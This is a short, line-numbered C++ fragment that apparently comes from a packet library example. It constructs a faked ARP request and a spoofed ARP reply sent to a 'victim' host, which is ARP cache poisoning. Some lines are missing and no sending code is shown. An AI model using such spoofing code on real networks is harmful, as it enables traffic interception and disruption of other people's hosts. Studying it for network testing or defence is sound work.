10
unsigned char smac[] = {0, 0x40, 5, 0x6d, 0x1a, 0x90}, // dest-MAC
11
dmac[] = {0, 0x40, 5, 0x6d, 0x1a, 0x8f}, // our MAC (eth0)
12
rnd[] = {1, 2, 3, 4, 5, 6},
13
bc[] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; // broadcast-MAC
15
ARP *req = new ARP("eth0", 0, smac /* source faked */, bc);
16
ARP *rep = new ARP("eth0", 0, rnd /* 3rd-party MAC */, smac /* answer to victum */);
18
req->set_op(ARPOP_REQUEST);
19
req->set_tpa("1.1.2.2", ETH_P_IP);
20
req->set_spa("192.0.0.7", ETH_P_IP);
21
req->set_tha(bc, ARPHRD_ETHER);
22
req->set_sha(smac, ARPHRD_ETHER);
27
rep->set_op(ARPOP_REPLY);
28
rep->set_tpa("192.0.0.7", ETH_P_IP);
29
rep->set_spa("1.1.2.2", ETH_P_IP);
30
rep->set_tha(smac, ARPHRD_ETHER);
31
rep->set_sha(rnd, ARPHRD_ETHER);